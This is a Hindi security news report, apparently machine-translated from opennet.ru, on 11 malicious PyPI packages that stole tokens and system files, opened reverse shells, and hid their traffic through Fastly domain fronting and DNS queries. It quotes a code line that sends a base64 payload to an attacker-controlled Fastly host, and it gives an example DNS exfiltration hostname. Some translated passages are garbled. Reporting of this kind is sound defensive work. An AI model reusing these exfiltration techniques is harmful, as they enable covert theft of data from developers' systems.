PyPI कैटलॉग में दुर्भावनापूर्ण पुस्तकालयों की पहचान की गई है जो संचार चैनल को छिपाने के लिए PyPI CDN का उपयोग करते हैं

PyPI (पायथन पैकेज इंडेक्स) निर्देशिका में, दुर्भावनापूर्ण कोड वाले 11 पैकेजों की पहचान की गई थी। समस्याओं की पहचान होने से पहले, पैकेजों को कुल मिलाकर लगभग 38 हजार बार डाउनलोड किया गया था। पता लगाए गए दुर्भावनापूर्ण पैकेज हमलावरों के सर्वर के साथ संचार चैनलों को छिपाने के लिए परिष्कृत तरीकों के उपयोग के लिए उल्लेखनीय हैं।

• महत्वपूर्णपैकेज (6305 डाउनलोड), महत्वपूर्ण-पैकेज (12897) - सिस्टम तक शेल एक्सेस (रिवर्स शेल) प्रदान करने के लिए pypi.python.org से कनेक्ट करने की आड़ में एक बाहरी सर्वर से कनेक्शन स्थापित किया और इसे छिपाने के लिए trevorc2 प्रोग्राम का उपयोग किया। बातचीत का माध्यम।
• पीपीटेस्ट (10001), आईपीबोर्ड्स (946) - सिस्टम के बारे में जानकारी प्रसारित करने के लिए संचार चैनल के रूप में डीएनएस का उपयोग किया जाता है (पहले पैकेट में होस्ट नाम, कार्यशील निर्देशिका, आंतरिक और बाहरी आईपी, दूसरे में - उपयोगकर्ता नाम और होस्ट नाम) .
• उल्लूमून (3285), डिस्कॉर्डसेफ्टी (557), यिफपार्टी (1859) - ने सिस्टम में डिस्कॉर्ड सेवा टोकन की पहचान की और इसे एक बाहरी होस्ट को भेजा।
• trrfab (287) - बाहरी होस्ट को पहचानकर्ता, होस्ट नाम और /etc/passwd, /etc/hosts, /home की सामग्री भेजी गई।
• 10सेंट10 (490) - बाहरी होस्ट के साथ रिवर्स शेल कनेक्शन स्थापित किया गया।
• यांडेक्स-वाईटी (4183) - सिस्टम से छेड़छाड़ के बारे में एक संदेश प्रदर्शित किया गया और nda.ya.ru (api.ya.cc) के माध्यम से जारी आगे की कार्रवाइयों के बारे में अतिरिक्त जानकारी वाले एक पृष्ठ पर पुनर्निर्देशित किया गया।

विशेष रूप से ध्यान देने योग्य महत्वपूर्ण पैकेज और महत्वपूर्ण-पैकेज पैकेज में उपयोग किए जाने वाले बाहरी होस्ट तक पहुंचने की विधि है, जो अपनी गतिविधि को छिपाने के लिए पीईपीआई निर्देशिका में उपयोग किए जाने वाले फास्टली सामग्री वितरण नेटवर्क का उपयोग करती है। वास्तव में, अनुरोध pypi.python.org सर्वर पर भेजे गए थे (HTTPS अनुरोध के अंदर SNI में Python.org नाम निर्दिष्ट करने सहित), लेकिन HTTP "होस्ट" हेडर में हमलावरों द्वारा नियंत्रित सर्वर का नाम शामिल था (सेकंड)। फॉरवर्ड.आईओ. ग्लोबल.प्रोड.फास्टली.नेट)। सामग्री वितरण नेटवर्क ने डेटा संचारित करते समय pypi.python.org पर टीएलएस कनेक्शन के मापदंडों का उपयोग करते हुए, हमलावर सर्वर को एक समान अनुरोध भेजा।

PyPI का बुनियादी ढांचा Fastly कंटेंट डिलीवरी नेटवर्क द्वारा संचालित है, जो सामान्य अनुरोधों को कैश करने के लिए एक पारदर्शी Varnish प्रॉक्सी का उपयोग करता है और HTTPS अनुरोधों को प्रॉक्सी के माध्यम से रूट करने के लिए एंडपॉइंट सर्वर के बजाय CDN स्तर पर TLS प्रमाणपत्रों को संभालता है। लक्ष्य होस्ट चाहे जो भी हो, अनुरोध प्रॉक्सी पर रूट किए जाते हैं, जो "Host" HTTP हेडर का उपयोग करके वांछित होस्ट का निर्धारण करता है। डोमेन नाम होस्ट को सीडीएन लोड बैलेंसर आईपी पतों पर मैप किया जाता है जो सभी फास्टली ग्राहकों के लिए सामान्य होते हैं।

हमलावर का सर्वर Fastly CDN पर भी पंजीकृत है, जो सभी को मुफ्त प्लान प्रदान करता है और गुमनाम पंजीकरण की भी अनुमति देता है। खास बात यह है कि पीड़ित को अनुरोध भेजने के लिए रिवर्स शेल का भी उपयोग किया जाता है, लेकिन ये अनुरोध हमलावर के होस्ट से शुरू किए जाते हैं। बाहर से देखने पर, हमलावर के सर्वर के साथ होने वाली बातचीत PyPI डायरेक्टरी के साथ वैध सत्रों की तरह प्रतीत होती है, जिसे एन्क्रिप्ट किया गया है। टीएलएस प्रमाणपत्र PyPI. "डोमेन फ्रंटिंग" नामक एक समान तकनीक का उपयोग पहले व्यापक रूप से ब्लॉकिंग को बायपास करते समय होस्टनामों को छिपाने के लिए किया जाता था। यह तकनीक कुछ CDN द्वारा प्रदान की जाने वाली HTTPS एक्सेस सुविधा का उपयोग करती है, SNI में एक डमी होस्टनाम निर्दिष्ट करती है और वास्तव में TLS सत्र के भीतर HTTP होस्ट हेडर में अनुरोधित होस्टनाम को प्रसारित करती है।

दुर्भावनापूर्ण गतिविधि को छिपाने के लिए, नियमित वेब नेविगेशन के समान सर्वर के साथ इंटरैक्शन करने के लिए ट्रेवरसी2 पैकेज का अतिरिक्त उपयोग किया गया था, उदाहरण के लिए, छवि डाउनलोड करने की आड़ में दुर्भावनापूर्ण अनुरोध भेजे गए थे “https://pypi.python.org/images/ guid='' guid पैरामीटर में सूचना एन्कोडिंग के साथ। url = "https://pypi.python.org" + "/images" + "?" + “guid =” + b64_payload r = request.Request (url, हेडर = {'होस्ट': “psec.forward.io.global.prod.fastly.net”})

पीपीटेस्ट और आईपीबोर्ड पैकेज ने नेटवर्क गतिविधि को छिपाने के लिए एक अलग दृष्टिकोण का उपयोग किया, जो डीएनएस सर्वर पर प्रश्नों में उपयोगी जानकारी को एन्कोड करने पर आधारित था। मैलवेयर "nu4timjagq4fimbuhe.example.com" जैसे DNS अनुरोधों को निष्पादित करके जानकारी प्रसारित करता है, जिसमें नियंत्रण सर्वर पर प्रेषित डेटा को उपडोमेन नाम में बेस 64 प्रारूप का उपयोग करके एन्कोड किया जाता है। हमलावर इन संदेशों को example.com डोमेन के लिए DNS सर्वर को नियंत्रित करके प्राप्त करता है।

स्रोत: opennet.ru